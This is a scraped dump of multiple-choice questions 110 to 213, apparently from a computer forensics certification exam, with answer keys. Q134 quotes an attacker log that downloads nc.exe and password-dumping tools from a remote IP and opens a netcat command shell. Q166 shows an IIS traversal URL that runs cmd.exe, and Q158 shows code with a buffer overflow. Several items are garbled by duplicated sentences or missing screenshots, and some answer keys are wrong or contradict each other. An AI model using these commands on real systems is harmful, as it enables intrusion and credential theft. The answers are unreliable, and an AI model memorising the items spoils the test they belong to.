Davidson Trucking is a small transportation company that has three local offices in Detroit Michigan. Ten female employees that work for the company have gone to an attorney reporting that male employees repeatedly harassed them and that management did nothing to stop the problem. Davidson has employee policies that outline all company guidelines, including awareness on harassment and how it will not be tolerated. When the case is brought to court, whom should the prosecuting attorney call upon for not upholding company policy?
A. Employees themselves
B. Supervisors
C. Administrative assistant in charge of writing policies

D. IT personnel
Answer: B (LEAVE A REPLY)

NEW QUESTION: 110
You are employed directly by an attorney to help investigate an alleged sexual harassment case at a large pharmaceutical manufacture. While at the corporate office of the company, the CEO demands to know the status of the investigation. What prevents you from discussing the case with the CEO?
A. Good manners
B. ISO 17799
C. Trade secrets
D. the attorney-work-product rule
Answer: D (LEAVE A REPLY)

NEW QUESTION: 111
The following is a log file screenshot from a default installation of IIS 6.0.
What time standard is used by IIS as seen in the screenshot?
A. GMT
B. UT
C. UTC
D. TAI
Answer: (SHOW ANSWER)

NEW QUESTION: 112
In the following email header, where did the email first originate from?
A. Somedomain.com
B. David1.state.ok.gov.us
C. Simon1.state.ok.gov.us
D. Smtp1.somedomain.com
Answer: C (LEAVE A REPLY)

NEW QUESTION: 113
Which among the following is an act passed by the U.S. Congress in 2002 to protect investors from the possibility of fraudulent accounting activities by corporations?
A. Health Insurance Portability and Accountability Act (HIPAA)
B. Sarbanes-Oxley Act (SOX)
C. Gramm-Leach-Bliley Act (GLBA)
D. Federal Information Security Management Act (FISMA)
Answer: B (LEAVE A REPLY)

NEW QUESTION: 114

What does the 56.58.152.114(445) denote in a Cisco router log?
Jun 19 23:25:46.125 EST: %SEC-4-IPACCESSLOGP: list internet-inbound denied udp 67.124.115.35(8084)
-> 56.58.152.114(445), 1 packet
A. None of the above
B. Destination IP address
C. Source IP address
D. Login IP address
Answer: B (LEAVE A REPLY)

NEW QUESTION: 115
Area density refers to:
A. the amount of data per platter
B. the amount of data per partition
C. the amount of data per disk
D. the amount of data per square inch
Answer: C (LEAVE A REPLY)

NEW QUESTION: 116
Which of the following network attacks refers to sending huge volumes of email to an address in an attempt to overflow the mailbox, or overwhelm the server where the email address is hosted, to cause a denial-of-service attack?
A. Phishing
B. Mail bombing
C. Email spoofing
D. Email spamming
Answer: B (LEAVE A REPLY)

NEW QUESTION: 117
You work as an IT security auditor hired by a law firm in Boston to test whether you can gain access to sensitive information about the company clients. You have rummaged through their trash and found very little information. You do not want to set off any alarms on their network, so you plan on performing passive foot printing against their Web servers. What tool should you use?
A. Ping sweep
B. Dig
C. Nmap
D. Netcraft
Answer: (SHOW ANSWER)

NEW QUESTION: 118

When setting up a wireless network with multiple access points, why is it important to set each access point on a different channel?

A. Multiple access points can be set up on the same channel without any issues

B. Avoid over-saturation of wireless signals

C. Avoid cross talk

D. So that the access points will work on different requencies

Answer: C (LEAVE A REPLY)

NEW QUESTION: 119

Where are files temporarily written in Unix when printing?

A. /var/print

B. /var/spool

C. /spool

D. /usr/spool

Answer: B (LEAVE A REPLY)

NEW QUESTION: 120

Which of the following tool is used to locate IP addresses?

A. Deep Log Analyzer

B. XRY LOGICAL

C. SmartWhois

D. Towelroot

Answer: C (LEAVE A REPLY)

NEW QUESTION: 121

How many sectors will a 125 KB file use in a FAT32 file system?

A. 25

B. 32

C. 256

D. 16

Answer: C (LEAVE A REPLY)

NEW QUESTION: 122
Using Linux to carry out a forensics investigation, what would the following command accomplish?
dd if=/usr/home/partition.image of=/dev/sdb2 bs=4096 conv=notrunc,noerror
A. Restore a disk from an image file
B. Search for disk errors within an image file
C. Copy a partition to an image file
D. Backup a disk to an image file
Answer: (SHOW ANSWER)

NEW QUESTION: 123
When marking evidence that has been collected with the aa/ddmmyy/nnnn/zz?format, what does the nnn?denote?When marking evidence that has been collected with the ?aa/ddmmyy/nnnn/zz?format, what does the ?nnn?denote?
A. The sequential number of the exhibits seized
B. The year the evidence was taken
C. The sequence number for the parts of the same exhibit
D. The initials of the forensics analyst
Answer: A (LEAVE A REPLY)

NEW QUESTION: 124
What is the goal of forensic science?
A. Save the good will of the investigating organization
B. Mitigate the effects of the information security breach
C. To determine the evidential value of the crime scene and related evidence
D. It is a disciple to deal with the legal processes
Answer: C (LEAVE A REPLY)

NEW QUESTION: 125
A state department site was recently attacked, and all the servers had their hard disks erased. The incident response team sealed the area and commenced an investigation. During evidence collection, they came across a USB flash drive that did not have the standard labeling on it. The incident team inserted the flash drive into an isolated system and found that the system disk was accidentally erased. They decided to call in the FBI for further investigation. Meanwhile, they shortlisted possible suspects including three summer interns. Where did the incident team go wrong?
A. They examined the actual evidence on an unrelated system
B. They called in the FBI without correlating with the fingerprint data
C. They tampered with the evidence by using it
D. They attempted to implicate personnel without proof
Answer: (SHOW ANSWER)

NEW QUESTION: 126
Which of the following is a responsibility of the first responder?
A. Share the collected information to determine the root cause
B. Determine the severity of the incident
C. Collect as much information about the incident as possible
D. Document the findings
Answer: (SHOW ANSWER)

NEW QUESTION: 127
Data Acquisition is the process of imaging or otherwise obtaining information from a digital device and its peripheral equipment and media
A. True
B. False
Answer: A (LEAVE A REPLY)

NEW QUESTION: 128
The surface of a hard disk consists of several concentric rings known as tracks; each of these tracks has smaller partitions called disk blocks. What is the size of each block?
A. 256 bytes
B. 512 bytes
C. 256 bits
D. 512 bits
Answer: (SHOW ANSWER)

NEW QUESTION: 129
Tasklist command displays a list of applications and services with their Process ID (PID) for all tasks running on either a local or a remote computer. Which of the following tasklist commands provides information about the listed processes, including the image name, PID, name, and the number of the session for the process?
A. Tasklist /p
B. Tasklist /s
C. Tasklist /v
D. Tasklist /u
Answer: C (LEAVE A REPLY)

NEW QUESTION: 130
What is considered a grant of a property right given to an individual who discovers or invents a new machine, process, useful composition of matter or manufacture?
A. Utility patent
B. Design patent

C. Trademark
D. Copyright
Answer: A (LEAVE A REPLY)

NEW QUESTION: 131
You are carrying out the last round of testing for your new website before it goes live. The website has many dynamic pages and connects to a SQL backend that accesses your product inventory in a database. You come across a web security site that recommends inputting the following code into a search field on web pages to check for vulnerabilities: When you type this and click on search, you receive a pop-up window that says: "This is a test." What is the result of this test?
A. Your website is not vulnerable
B. Your website is vulnerable to web bugs
C. Your website is vulnerable to SQL injection
D. Your website is vulnerable to CSS
Answer: D (LEAVE A REPLY)

NEW QUESTION: 132
After suspecting a change in MS-Exchange Server storage archive, the investigator has analyzed it. Which of the following components is not an actual part of the archive?
A. PUB.STM
B. PRIV.STM
C. PRIV.EDB
D. PUB.EDB
Answer: A (LEAVE A REPLY)

NEW QUESTION: 133
Which of the following commands shows you all of the network services running on Windowsbased servers?
A. Net config
B. Net start
C. Net use
D. Net Session
Answer: B (LEAVE A REPLY)

NEW QUESTION: 134
The following excerpt is taken from a honeypot log that was hosted at lab.wiretrip.net. Snort reported Unicode attacks from 213.116.251.162. The File Permission Canonicalization vulnerability (UNICODE attack) allows scripts to be run in arbitrary folders that do not normally have the right to run scripts. The attacker tries a Unicode attack and eventually succeeds in displaying boot.ini.

He then switches to playing with RDS, via msadcs.dll. The RDS vulnerability allows a malicious user to construct SQL statements that will execute shell commands (such as CMD.EXE) on the IIS server. He does a quick query to discover that the directory exists, and a query to msadcs.dll shows that it is functioning correctly. The attacker makes a RDS query which results in the commands run as shown below.
"cmd1.exe /c open 213.116.251.162 >ftpcom"
"cmd1.exe /c echo johna2k >>ftpcom"
"cmd1.exe /c echo haxedj00 >>ftpcom"
"cmd1.exe /c echo get nc.exe >>ftpcom"
"cmd1.exe /c echo get pdump.exe >>ftpcom"
"cmd1.exe /c echo get samdump.dll >>ftpcom"
"cmd1.exe /c echo quit >>ftpcom"
"cmd1.exe /c ftp -s:ftpcom"
"cmd1.exe /c nc -l -p 6969 -e cmd1.exe"
What can you infer from the exploit given?
A. It is a local exploit where the attacker logs in using username johna2k
B. There are two attackers on the system - johna2k and haxedj00
C. The attack is a remote exploit and the hacker downloads three files
D. The attacker is unsuccessful in spawning a shell as he has specified a high end UDP port
Answer: (SHOW ANSWER)
The log clearly indicates that this is a remote exploit with three files being downloaded and hence the correct answer is C.

NEW QUESTION: 135
During forensics investigations, investigators tend to collect the system time at first and compare it with UTC. What does the abbreviation UTC stand for?
A. Universal Computer Time
B. Coordinated Universal Time
C. Correlated Universal Time
D. Universal Time for Computers
Answer: B (LEAVE A REPLY)

NEW QUESTION: 136
Bill is the accounting manager for Grummon and Sons LLC in Chicago. On a regular basis, he needs to send PDF documents containing sensitive information through E-mail to his customers. Bill protects the PDF documents with a password and sends them to their intended recipients. Why PDF passwords do not offer maximum protection?
A. PDF passwords can easily be cracked by software brute force tools
B. PDF passwords are not considered safe by Sarbanes-Oxley
C. PDF passwords are converted to clear text when sent through E-mail
D. When sent through E-mail, PDF passwords are stripped from the document completely

Answer: A (LEAVE A REPLY)

NEW QUESTION: 137
You are called in to assist the police in an investigation involving a suspected drug dealer. The police searched the suspect house after aYou are called in to assist the police in an investigation involving a suspected drug dealer. The police searched the suspect? house after a warrant was obtained and they located a floppy disk in the suspect bedroom. The disk contains several files, but they appear to be passwordwarrant was obtained and they located a floppy disk in the suspect? bedroom. The disk contains several files, but they appear to be password protected. What are two common methods used by password cracking software that you could use to obtain the password?
A. Maximum force and thesaurus attack
B. Limited force and library attack
C. Minimum force and appendix attack
D. Brute force and dictionary attack
Answer: D (LEAVE A REPLY)

NEW QUESTION: 138
What is the location of a Protective MBR in a GPT disk layout?
A. Logical Block Address (LBA) 0
B. Logical Block Address (LBA) 3
C. Logical Block Address (LBA) 1
D. Logical Block Address (LBA) 2
Answer: C (LEAVE A REPLY)

NEW QUESTION: 139
You are working as an independent computer forensics investigator and receive a call from a systems administrator for a local school system requesting your assistance. One of the students at the local high school is suspected of downloading inappropriate images from the Internet to a PC in the Computer Lab. When you arrive at the school, the systems administrator hands you a hard drive and tells you that he made a implePC in the

Computer Lab. When you arrive at the school, the systems administrator hands you a hard drive and tells you that he made a ?imple backup copy?of the hard drive in the PC and put it on this drive and requests that you examine the drive for evidence of the suspected images. You inform him that a imple backup copy?will not provide deleted files or recover file fragments. What type of copy do you need to make toYou inform him that a ?imple backup copy?will not provide deleted files or recover file fragments. What type of copy do you need to make to ensure that the evidence found is complete and admissible in future proceedings?

A. Incremental backup copy

B. Full backup copy

C. Bit-stream copy

D. Robust copy

Answer: C (LEAVE A REPLY)

NEW QUESTION: 140

Jason has set up a honeypot environment by creating a DMZ that has no physical or logical access to his production network. In this honeypot, he has placed a server running Windows Active Directory. He has also placed a Web server in the DMZ that services a number of web pages that offer visitors a chance to download sensitive information by clicking on a button. A week later, Jason finds in his network logs how an intruder accessed the honeypot and downloaded sensitive information. Jason uses the logs to try and prosecute the intruder for stealing sensitive corporate information. Why will this not be viable?

A. Intruding into a honeypot is not illegal

B. Enticement

C. Entrapment

D. Intruding into a DMZ is not illegal

Answer: C (LEAVE A REPLY)

NEW QUESTION: 141

What must an attorney do first before you are called to testify as an expert?

A. Prove that the tools you used to conduct your examination are perfect

B. Engage in damage control

C. Read your curriculum vitae to the jury

D. Qualify you as an expert witness

Answer: (SHOW ANSWER)

NEW QUESTION: 142

What is the CIDR from the following screenshot?

A. /32 /32 /32

B. /8/8/8

C. /16 /16 /16

D. /24/24/24

Answer: B (LEAVE A REPLY)

NEW QUESTION: 143
Which of the following files store the MySQL database data permanently, including the data that had been deleted, helping the forensic investigator in examining the case and finding the culprit?
A. ibdata1
B. mysql-log
C. iblog
D. mysql-bin
Answer: A (LEAVE A REPLY)

NEW QUESTION: 144
Jvanovich, a forensics investigator, is trying to extract complete information about running processes from a system. Where should he look apart from the RAM and virtual memory?
A. Files and documents
B. Swap space
C. Slack space
D. Application data
Answer: B (LEAVE A REPLY)

NEW QUESTION: 145
If you are concerned about a high level of compression but not concerned about any possible data loss, what type of compression would you use?
A. Lossy compression
B. Lossful compression
C. Time-loss compression
D. Lossless compression
Answer: A (LEAVE A REPLY)

NEW QUESTION: 146
Jacob is a computer forensics investigator with over 10 years experience in investigations and has written over
50 articles on computer forensics. He has been called upon as a qualified witness to testify the accuracy and integrity of the technical log files gathered in an investigation into computer fraud. What is the term used for Jacob testimony in this case?
A. Justification
B. Authentication
C. Certification
D. Reiteration
Answer: (SHOW ANSWER)

NEW QUESTION: 147
Select the tool appropriate for finding the dynamically linked lists of an application or malware.
A. Dependency Walker
B. ResourcesExtract
C. PEiD
D. SysAnalyzer
Answer: A (LEAVE A REPLY)

NEW QUESTION: 148
Which of the following Steganography techniques allows you to encode information that ensures creation of cover for secret communication?
A. Cover generation techniques
B. Spread spectrum techniques
C. Substitution techniques
D. Transform domain techniques
Answer: (SHOW ANSWER)

NEW QUESTION: 149
The offset in a hexadecimal code is:
A. The 0x at the end of the code
B. The 0x at the beginning of the code
C. The last byte after the colon
D. The first byte after the colon
Answer: B (LEAVE A REPLY)

NEW QUESTION: 150
Which is not a part of environmental conditions of a forensics lab?
A. Good cooling system to overcome excess heat generated by the work station
B. Allocation of workstations as per the room dimensions
C. Open windows facing the public road
D. Large dimensions of the room
Answer: (SHOW ANSWER)

NEW QUESTION: 151
Which among the following laws emphasizes the need for each Federal agency to develop, document, and implement an organization-wide program to provide information security for the information systems that support its operations and assets?
A. GLBA
B. FISMA
C. SOX
D. HIPAA

Answer: (SHOW ANSWER)

NEW QUESTION: 152
In handling computer-related incidents, which IT role should be responsible for recovery, containment, and prevention to constituents?
A. Director of Administration
B. Network Administrator
C. Director of Information Technology
D. Security Administrator
Answer: B (LEAVE A REPLY)

NEW QUESTION: 153
Area density refers to:
A. the amount of data per square inch
B. the amount of data per disk
C. the amount of data per partition
D. the amount of data per platter
Answer: (SHOW ANSWER)

NEW QUESTION: 154
Item 2If you come across a sheepdip machine at your client site, what would you infer?
A. A sheepdip coordinates several honeypots
B. A sheepdip computer is used only for virus-checking.
C. A sheepdip computer defers a denial of service attack
D. A sheepdip computer is another name for a honeypot
Answer: (SHOW ANSWER)

NEW QUESTION: 155
What are the security risks of running a "repair" installation for Windows XP?
A. There are no security risks when running the "repair" installation for Windows XP
B. Pressing Ctrl+F10 gives the user administrative rights
C. Pressing Shift+F10 gives the user administrative rights

D. Pressing Shift+F1 gives the user administrative rights
Answer: C (LEAVE A REPLY)

NEW QUESTION: 156
A rogue/unauthorized access point is one that Is not authorized for operation by a particular firm or network
A. False
B. True
Answer: B (LEAVE A REPLY)

NEW QUESTION: 157
Richard is extracting volatile data from a system and uses the command doskey/history. What is he trying to extract?
A. Passwords used across the system
B. History of the browser
C. Events history
D. Previously typed commands
Answer: D (LEAVE A REPLY)

NEW QUESTION: 158
Kyle is performing the final testing of an application he developed for the accounting department. His last round of testing is to ensure that the program is as secure as possible. Kyle runs the following command. What is he testing at this point?
#include #include int main(int argc, char
*argv[]) { char buffer[10]; if (argc < 2) { fprintf (stderr, "USAGE: %s string\n", argv[0]); return 1; } strcpy(buffer, argv[1]); return 0; }
A. Format string bug
B. Buffer overflow
C. Kernal injection
D. SQL injection
Answer: B (LEAVE A REPLY)

NEW QUESTION: 159
Which of the following is a tool to reset Windows admin password?
A. TestDisk for Windows
B. Windows Password Recovery Bootdisk
C. Windows Data Recovery Software
D. R-Studio
Answer: (SHOW ANSWER)

NEW QUESTION: 160

The given image displays information about date and time of installation of the OS along with service packs, patches, and sub-directories. What command or tool did the investigator use to view this output?

A. dir /o:d

B. dir /o:n

C. dir /o:e

D. dir /o:s

Answer: A (LEAVE A REPLY)

NEW QUESTION: 161

A forensics investigator needs to copy data from a computer to some type of removable media so he can examine the information at another location. The problem is that the data is around 42GB in size. What type of removable media could the investigator use?

A. Blu-Ray dual-layer

B. Blu-Ray single-layer

C. HD-DVD

D. DVD-18

Answer: (SHOW ANSWER)

NEW QUESTION: 162

You are working as an investigator for a corporation and you have just received instructions from your manager to assist in the collection of 15 hard drives that are part of an ongoing investigation. Your job is to complete the required evidence custody forms to properly document each piece of evidence as other members of your team collect it. Your manager instructs you to complete one multi-evidence form for the entire case and a single-evidence form for each hard drive. How will these forms be stored to help preserve the chain of custody of the case?

A. The multi-evidence form should be placed in an approved secure container with the hard drives and the single-evidence forms should be placed in the report file

B. The multi-evidence form should be placed in the report file and the single-evidence forms should be kept with each hard drive in an approved secure container

C. All forms should be placed in the report file because they are now primary evidence in the case

D. All forms should be placed in an approved secure container because they are now primary evidence in the case

Answer: B (LEAVE A REPLY)

NEW QUESTION: 163

Company ABC has employed a firewall, IDS, Antivirus, Domain Controller, and SIEM. The company's domain controller goes down. From which system would you begin your investigation?

A. Domain Controller

B. Firewall

C. SIEM

D. IDS
Answer: C (LEAVE A REPLY)

NEW QUESTION: 164
Report writing is a crucial stage in the outcome of an investigation. Which information should NOT be included in the report section?
A. Author of the report
B. Purpose of the report
C. Speculation or opinion as to the cause of the incident
D. Incident summary
Answer: C (LEAVE A REPLY)

NEW QUESTION: 165
Wireless access control attacks aim to penetrate a network by evading WLAN access control measures, such as AP MAC filters and Wi-Fi port access controls.
Which of the following wireless access control attacks allows the attacker to set up a rogue access point outside the corporate perimeter, and then lure the employees of the organization to connect to it?
A. War driving
B. Rogue access points
C. Client mis-association
D. MAC spoofing
Answer: C (LEAVE A REPLY)

NEW QUESTION: 166
What will the following URL produce in an unpatched IIS Web Server?
http://www.thetargetsite.com/scripts/..%
co%af../..%co%af../windows/system32/cmd.exe?/c+dir+c:\
A. Execute a buffer flow in the C: drive of the web server
B. Insert a Trojan horse into the C: drive of the web server
C. Directory listing of C: drive on the web server
D. Directory listing of the C:\windows\system32 folder on the web server
Answer: C (LEAVE A REPLY)

NEW QUESTION: 167
Which of the following is NOT a graphics file?
A. Picture4.psd
B. Picture2.bmp
C. Picture1.tga
D. Picture3.nfo
Answer: (SHOW ANSWER)

NEW QUESTION: 168
Harold is finishing up a report on a case of network intrusion, corporate spying, and embezzlement that he has been working on for over six months. He is trying to find the right term to use in his report to describe network-enabled spying. What term should Harold use?
A. Hackspionage
B. Netspionage
C. Spycrack
D. Spynet
Answer: B (LEAVE A REPLY)

NEW QUESTION: 169
Which response organization tracks hoaxes as well as viruses?
A. FEDCIRC
B. CERT
C. NIPC
D. CIAC
Answer: (SHOW ANSWER)

NEW QUESTION: 170
One technique for hiding information is to change the file extension from the correct one to one that might not be noticed by an investigator. For example, changing a .jpg extension to a .doc extension so that a picture file appears to be a document. What can an investigator examine to verify that a file has the correct extension?
A. the file header
B. the file footer
C. the sector map
D. the File Allocation Table
Answer: A (LEAVE A REPLY)

NEW QUESTION: 171

Stephen is checking an image using Compare Files by The Wizard, and he sees the file signature is shown as FF D8 FF E1. What is the file type of the image?
A. gif
B. png
C. bmp
D. Jpeg
Answer: D (LEAVE A REPLY)

NEW QUESTION: 172
Email archiving is a systematic approach to save and protect the data contained in emails so that it can be accessed fast at a later date. There are two main archive types, namely Local Archive and Server Storage Archive. Which of the following statements is correct while dealing with local archives?
A. Server storage archives are the server information and settings stored on a local system, whereas the local archives are the local email client information stored on the mail server
B. Local archives should be stored together with the server storage archives in order to be admissible in a court of law
C. It is difficult to deal with the webmail as there is no offline archive in most cases.
So consult your counsel on the case as to the best way to approach and gain access to the required data on servers
D. Local archives do not have evidentiary value as the email client may alter the message data
Answer: C (LEAVE A REPLY)

NEW QUESTION: 173
What file is processed at the end of a Windows XP boot to initialize the logon dialog box?
A. NTLDR
B. NTDETECT.COM
C. NTOSKRNL.EXE
D. LSASS.EXE
Answer: C (LEAVE A REPLY)

NEW QUESTION: 174
Which network attack is described by the following statement?
"At least five Russian major banks came under a continuous hacker attack, although online client services were not disrupted. The attack came from a wide-scale botnet involving at least 24,000 computers, located in 30 countries."
A. Sniffer Attack
B. Man-in-the-Middle Attack
C. DDoS
D. Buffer Overflow
Answer: C (LEAVE A REPLY)

NEW QUESTION: 175
You have been asked to investigate after a user has reported a threatening e-mail they have received from an external source. Which of the following are you most interested in when trying to trace the source of the message?
A. The X509 Address
B. The SMTP reply Address
C. The E-mail Header
D. The Host Domain Name
Answer: C (LEAVE A REPLY)

NEW QUESTION: 176
You are contracted to work as a computer forensics investigator for a regional bank that has four 30 TB storage area networks that store customer data.
What method would be most efficient for you to acquire digital evidence from this network?
A. create a sparse data copy of a folder or file
B. make a bit-stream disk-to-disk file
C. make a bit-stream disk-to-image file
D. create a compressed copy of the file with DoubleSpace
Answer: C (LEAVE A REPLY)

NEW QUESTION: 177
Gary is checking for the devices connected to USB ports of a suspect system during an investigation. Select the appropriate tool that will help him document all the connected devices.
A. Reg.exe
B. fsutil
C. Devcon
D. DevScan
Answer: C (LEAVE A REPLY)

NEW QUESTION: 178
When analyzing logs, it is important that the clocks of all the network devices are synchronized. Which protocol will help in synchronizing these clocks?
A. UTC
B. PTP
C. Time Protocol
D. NTP
Answer: D (LEAVE A REPLY)

NEW QUESTION: 179

In which cloud crime do attackers try to compromise the security of the cloud environment in order to steal data or inject a malware?
A. Cloud as a Subject
B. Cloud as an Object
C. Cloud as an Application
D. Cloud as a Tool
Answer: A (LEAVE A REPLY)

NEW QUESTION: 180
The MD5 program is used to:
A. make directories on an evidence disk
B. view graphics files on an evidence drive
C. verify that a disk is not altered when you examine it
D. wipe magnetic media before recycling it
Answer: C (LEAVE A REPLY)

NEW QUESTION: 181
As a security analyst you setup a false survey website that will reQuire users to create a username and a strong password. You send the link to all the employees of the company. What information will you be able to gather?
A. The MAC address of theemployees?computers
B. Bank account numbers and the corresponding routing numbers
C. The employees network usernames and passwords
D. The IP address of the employees computers
Answer: C (LEAVE A REPLY)

NEW QUESTION: 182
Madison is on trial for allegedly breaking into her university's internal network. The police raided her dorm room and seized all of her computer equipment. Madison's lawyer is trying to convince the judge that the seizure was unfounded and baseless. Under which US Amendment is Madison's lawyer trying to prove the police violated?
A. The 5th Amendment

B. The 1st Amendment
C. The 10th Amendment
D. The 4th Amendment
Answer: D (LEAVE A REPLY)

NEW QUESTION: 183
Digital evidence validation involves using a hashing algorithm utility to create a binary or hexadecimal number that represents the uniqueness of a data set, such as a disk drive or file. Which of the following hash algorithms produces a message digest that is 128 bits long?
A. CRC-32
B. SHA-512
C. MD5
D. SHA-1
Answer: C (LEAVE A REPLY)

NEW QUESTION: 184
Larry is an IT consultant who works for corporations and government agencies. Larry plans on shutting down the city's network using BGP devices and zombies? What type of Penetration Testing is Larry planning to carry out?
A. Router Penetration Testing
B. Firewall Penetration Testing
C. Internal Penetration Testing
D. DoS Penetration Testing
Answer: (SHOW ANSWER)

NEW QUESTION: 185
When you carve an image, recovering the image depends on which of the following skills?
A. Recovering the image from the tape backup
B. Recognizing the pattern of the header content
C. Recognizing the pattern of a corrupt file
D. Recovering the image from a tape backup
Answer: (SHOW ANSWER)

NEW QUESTION: 186
One technique for hiding information is to change the file extension from the correct one to the one that might not be noticed by an investigator. For example, changing a .jpg extension to a .doc extension so that a picture file appears to be a document. What can an investigator examine to verify that a file has the correct extension?
A. The file footer
B. The File Allocation Table
C. The file header

D. The sector map
Answer: C (LEAVE A REPLY)

NEW QUESTION: 187
What is the first step taken in an investigation for laboratory forensic staff members?
A. Conducting preliminary interviews
B. Securing and evaluating the electronic crime scene
C. Transporting the electronic evidence
D. Packaging the electronic evidence
Answer: B (LEAVE A REPLY)

NEW QUESTION: 188
What does the acronym POST mean as it relates to a PC?
A. Primary Operating System Test
B. Primary Operations Short Test
C. Power On Self Test
D. Pre Operational Situation Test
Answer: C (LEAVE A REPLY)

NEW QUESTION: 189
On an Active Directory network using NTLM authentication, where on the domain controllers are the passwords stored?
A. AMS
B. SAM
C. Shadow file
D. Password.conf
Answer: (SHOW ANSWER)

NEW QUESTION: 190
Which of the following tool enables a user to reset his/her lost admin password in a Windows system?
A. Active@ Password Changer
B. Smartkey Password Recovery Bundle Standard
C. Passware Kit Forensic
D. Advanced Office Password Recovery
Answer: A (LEAVE A REPLY)

NEW QUESTION: 191
You are carrying out the last round of testing for your new website before it goes live. The website has many dynamic pages and connects to a SQL backend that accesses your product inventory

in a database. You come across a web security site that recommends inputting the following code into a search field on web pages to check for vulnerabilities:
When you type this and click on search, you receive a pop-up window that says:
"This is a test." What is the result of this test?
A. Your website is vulnerable to CSS
B. Your website is vulnerable to SQL injection
C. Your website is not vulnerable
D. Your website is vulnerable to web bugs
Answer: (SHOW ANSWER)

NEW QUESTION: 192
It takes _____ mismanaged case/s to ruin your professional reputation as a computer forensics examiner?
A. by law, three
B. quite a few
C. at least two
D. only one
Answer: D (LEAVE A REPLY)

NEW QUESTION: 193
When an investigator contacts by telephone the domain administrator or controller listed by a Who is lookup to request all e-mails sent and received for a user account be preserved, what U.S.C. statute authorizes this phone call and obligates the ISP to preserve e-mail records?
A. Title 18, Section Chapter 90
B. Title 18, Section 2703(d)
C. Title 18, Section 2703(f)
D. Title 18, Section 1030
Answer: C (LEAVE A REPLY)

NEW QUESTION: 194
Which password cracking technique uses details such as length of password, character sets used to construct the password, etc.?
A. Dictionary attack
B. Brute force attack
C. Rule-based attack
D. Man in the middle attack
Answer: (SHOW ANSWER)

NEW QUESTION: 195
Why are Linux/Unix based computers better to use than Windows computers for idle scanning?
A. Windows computers will not respond to idle scans

B. Windows computers are constantly talking
C. Linux/Unix computers are constantly talking
D. Linux/Unix computers are easier to compromise
Answer: B (LEAVE A REPLY)

NEW QUESTION: 196
Which of the following files contains the traces of the applications installed, run, or uninstalled from a system?
A. Virtual Files
B. Prefetch Files
C. Image Files
D. Shortcut Files
Answer: D (LEAVE A REPLY)

NEW QUESTION: 197
Which ISO Standard enables laboratories to demonstrate that they comply with quality assurance and provide valid results?
A. ISO/IEC 17025
B. ISO/IEC 19025
C. ISO/IEC 18025
D. ISO/IEC 16025
Answer: A (LEAVE A REPLY)

NEW QUESTION: 198
James is dealing with a case regarding a cybercrime that has taken place in Arizona, USA. James needs to lawfully seize the evidence from an electronic device without affecting the user's anonymity. Which of the following law should he comply with, before retrieving the evidence?
A. Fourth Amendment of the U.S. Constitution
B. Fifth Amendment of the U.S. Constitution
C. First Amendment of the U.S. Constitution
D. Third Amendment of the U.S. Constitution
Answer: (SHOW ANSWER)

NEW QUESTION: 199
Using Internet logging software to investigate a case of malicious use of computers, the investigator comes across some entries that appear odd.
From the log, the investigator can see where the person in question went on the Internet. From the log, it appears that the user was manually typing in different user ID numbers. What technique this user was trying?
A. Parameter tampering
B. Cookie Poisoning
C. Cross site scripting
D. SQL injection
Answer: (SHOW ANSWER)

NEW QUESTION: 200
The _____ refers to handing over the results of private investigations to the authorities because of indications of criminal activity.
A. Locard Exchange Principle
B. Clark Standard
C. Kelly Policy
D. Silver-Platter Doctrine
Answer: (SHOW ANSWER)
Answer "Silver-Platter Doctrine" is probably the most correct. However, the Silver-Platter Doctrine allowed the Federal court to introduce illegally or improperly "State" seized evidence as long as Federal officers had no role in obtaining it. Also wanted to note that this Doctrine was declared unconstitional in 1960, Elkins vs United States

NEW QUESTION: 201
Which of the following would you consider an aspect of organizational security, especially focusing on IT security?
A. Security from frauds
B. Biometric information security
C. Information copyright security
D. Application security
Answer: D (LEAVE A REPLY)

NEW QUESTION: 202
Smith, a network administrator with a large MNC, was the first to arrive at a suspected crime scene involving criminal use of compromised computers. What should be his first response while maintaining the integrity of evidence?
A. Perform data acquisition without disturbing the state of the systems
B. Switch off the systems and carry them to the laboratory

C. Open the systems, remove the hard disk and secure it
D. Record the system state by taking photographs of physical system and the display
Answer: (SHOW ANSWER)

NEW QUESTION: 203
Which of the following attacks allows attacker to acquire access to the communication channels between the victim and server to extract the information?
A. Replay attack
B. Rainbow attack
C. Distributed network attack
D. Man-in-the-middle (MITM) attack
Answer: D (LEAVE A REPLY)

NEW QUESTION: 204
What will the following command accomplish in Linux? fdisk /dev/hda
A. Format the hard drive
B. Partition the hard drive
C. Fill the disk with zeros
D. Delete all files under the /dev/hda folder
Answer: B (LEAVE A REPLY)

NEW QUESTION: 205
What is cold boot (hard boot)?
A. It is the process of starting a computer from a powered-down or off state
B. It is the process of shutting down a computer from a powered-on or on state
C. It is the process of restarting a computer that is already in sleep mode
D. It is the process of restarting a computer that is already turned on through the operating system
Answer: A (LEAVE A REPLY)

NEW QUESTION: 206
Centralized logging is defined as gathering the computer system logs for a group of systems in a centralized location. It is used to efficiently monitor computer system logs with the frequency required to detect security violations and unusual activity.
A. True
B. False
Answer: (SHOW ANSWER)

NEW QUESTION: 207
Bob has been trying to penetrate a remote production system for the past two weeks. This time however, he is able to get into the system. He was able to use the System for a period of three

weeks. However, law enforcement agencies were recoding his every activity and this was later presented as evidence.
The organization had used a Virtual Environment to trap Bob. What is a Virtual Environment?
A. An environment set up after the user logs in
B. A system Using Trojaned commands
C. A Honeypot that traps hackers
D. An environment set up before a user logs in
Answer: (SHOW ANSWER)

NEW QUESTION: 208
Windows identifies which application to open a file with by examining which of the following?
A. The file Signature at the end of the file
B. The file attributes
C. The file signature at the beginning of the file
D. The File extension
Answer: (SHOW ANSWER)

NEW QUESTION: 209
Files stored in the Recycle Bin in its physical location are renamed as Dxy.ext, where "x" represents the
_____.
A. Original file name's extension
B. Original file name
C. Drive name
D. Sequential number
Answer: C (LEAVE A REPLY)

NEW QUESTION: 210
A system with a simple logging mechanism has not been given much attention during development, this system is now being targeted by attackers, if the attacker wants to perform a new line injection attack, what will he/she inject into the log file?
A. Plaintext
B. Single pipe character
C. HTML tags
D. Multiple pipe characters
Answer: A (LEAVE A REPLY)

NEW QUESTION: 211
Which command line tool is used to determine active network connections?
A. nslookup
B. netsh

C. nbstat
D. netstat
Answer: D (LEAVE A REPLY)

NEW QUESTION: 212
What method of computer forensics will allow you to trace all ever-established user accounts on a Windows
2000 sever the course of its lifetime?
A. comparison of MD5 checksums
B. forensic duplication of hard drive
C. review of SIDs in the Registry
D. analysis of volatile data
Answer: A (LEAVE A REPLY)

NEW QUESTION: 213
